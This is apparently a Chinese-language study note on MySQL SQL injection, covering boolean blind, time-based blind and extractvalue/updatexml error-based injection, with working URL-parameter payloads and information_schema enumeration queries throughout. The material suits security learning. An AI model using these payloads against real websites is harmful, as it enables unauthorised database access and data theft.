盲注&報錯注入-mysql
看到身邊同學寫個 sql 注入指令碼不費吹灰之力,我酸了,你要問我是什麼酸,寫不出來的心酸。
前提
SQL 注入通常出現在查詢條件where
可控,類似於"SELECT * FROM user WHERE user='".$_GET['name']."'"
那這個where
的屁股後面能接上一些什麼sql語句呢?
SELECT * FROM user WHERE user="admin" ADN 1=1 SELECT * FROM user WHERE user="admin" UNION SELECT * FROM xxx WHERE xxx=xxx SELECT * FROM user WHERE user="admin" ADN sleep(5) SELECT * FROM user WHERE user="admin" ADN if(xxx=xxx,true,false)
注意:通常我們需要考慮到引數是 整型 還是 字元型,也就是新增 引號
我們知道:
條件語句中的 (expr1 and expr2),expr2 只會在 expr1 為真的情況下才會執行;(expr1 or expr2),expr1、expr2 都會執行
mysql 中有個特殊的資料庫 information_schema,這裡面存了資料庫的所有資訊,包括資料庫名、資料庫表名、資料列名
# 從 information_schema.schemata 查詢所有 庫名 select schema_name from information_schema.schemata # 從得到的庫名在 information_schema.tables 中查詢該庫內的表名(limit 限制得到的數量,當讓也可以直接使用 group_concat(table_name) 在一行結果中得到所有所有的表名) select table_name from information_schema.tables where table_schema="xxx" limit 0,1 # 同理可以從 information_schema.columns 中查詢對應表中的列名 select column_name from information_schema.columns where table_schema="xxx" and table_name="xxx" limit 0,1
布林盲注
布林盲注,一般是根據響應內容不同加以判斷,看到以下幾個常用函式:
sql 語法 | 含義 |
---|---|
length("string") | 計算字元長度 |
sleep(5) | 延遲n秒 |
ord("a") | 字元轉成ascii |
substring("string",strart,length)/substr("string",strart,length) | 取出字串裡的第幾位(從 1 開始,而不是 0)開始,長度多少的字元 |
那麼類似於"SELECT * FROM user WHERE user='".$_GET['name']."'"
這個sql注入,我們通過提交怎樣的引數能判斷是否存在布林盲注並注入出資料呢?
# 簡單判斷是否存在布林盲注
1. 首先假設不存在 admin 使用者
?name=admin' or '1'='1 # 最終響應存在該使用者
當使用 and時:
2. 首先假設存在 admin 使用者
?name=admin' and '1'='2 # 最終響應存在該使用者
# 那麼如何注入出資料呢?注意,此時是存在 admin 使用者的,這樣才能確保 and 後面的條件語句被執行。我們假設存在使用者會回顯:使用者存在
?name=admin' and (select length(database())) = 5 and '1'='1 # 此時,只有當資料庫長度恰好等於 5 時,網頁才會回顯使用者存在,因此我們可以依據這個判斷資料庫長度
?name=admin' and (select ord(substring(database(),1,1))) = 97 and '1'='1 # 此時,只有資料庫第一個字母的 ascii 碼為 97,網頁才會回顯使用者存在
時間盲注
時間盲注中常用的有一下幾個 sql 函式及語法:
sql 語法 | 含義 |
---|---|
if(expr1,expr2,expr3) | 當expr1成立時,會執行expr2,反之執行expr3 |
sleep(5) | 延遲n秒 |
benchmark(10000000,sha(1)); | BENCHMARK會重複計算expr表示式count次,打到延時 |
ascii("a") | 字元轉成ascii |
ord("a") | 字元轉成ascii |
substring("string",strart,length)/substr("string",strart,length) | 取出字串裡的第幾位(從 1 開始,而不是 0)開始,長度多少的字元 |
MID(column_name,start[,length]) | 取出字串裡的第幾位(從 1 開始,而不是 0)開始,長度多少的字元 |
left(str, len) | 字串左擷取函式,返回str的左len個字元 |
right(str, len) | 字串右擷取函式,返回sre的右len個字元 |
那麼類似於"SELECT * FROM user WHERE user='".$_GET['name']."'"
這個 sql 注入,我們通過提交怎樣的引數能注入出資料呢?
?name=' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1
通過不斷替換if語句中的值,如 97 代表 a,我們便可以通過響應時間簡單地注入出資料庫名
報錯注入
構造特殊的 sql 語句,讓資訊以報錯的形式顯示出來。通常利用的是如下的函式
- UPDATEXML (XML_document, XPath_string, new_value);
- EXTRACTVALUE (XML_document, XPath_string);
構造錯誤的XPath_string 引數,使語句報錯從而帶出資料
例如:
select extractvalue(1,concat(0x7e,(select database()),0x7e))
select updatexml(1,concat(0x7e,(select database()),0x7e),1)
select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))
從圖片中可以發現,報錯的到的結果限定長度 32 位,所以當資料很長的時候需要使用substr、mid
等函式截斷結果
select extractvalue(1,concat(0x7e,(select substr("string",1,1)),0x7e))
當然還有一些其他的函式能構造報錯,具體可以看:十種MySQL報錯注入,測試發現:高版本均無法成功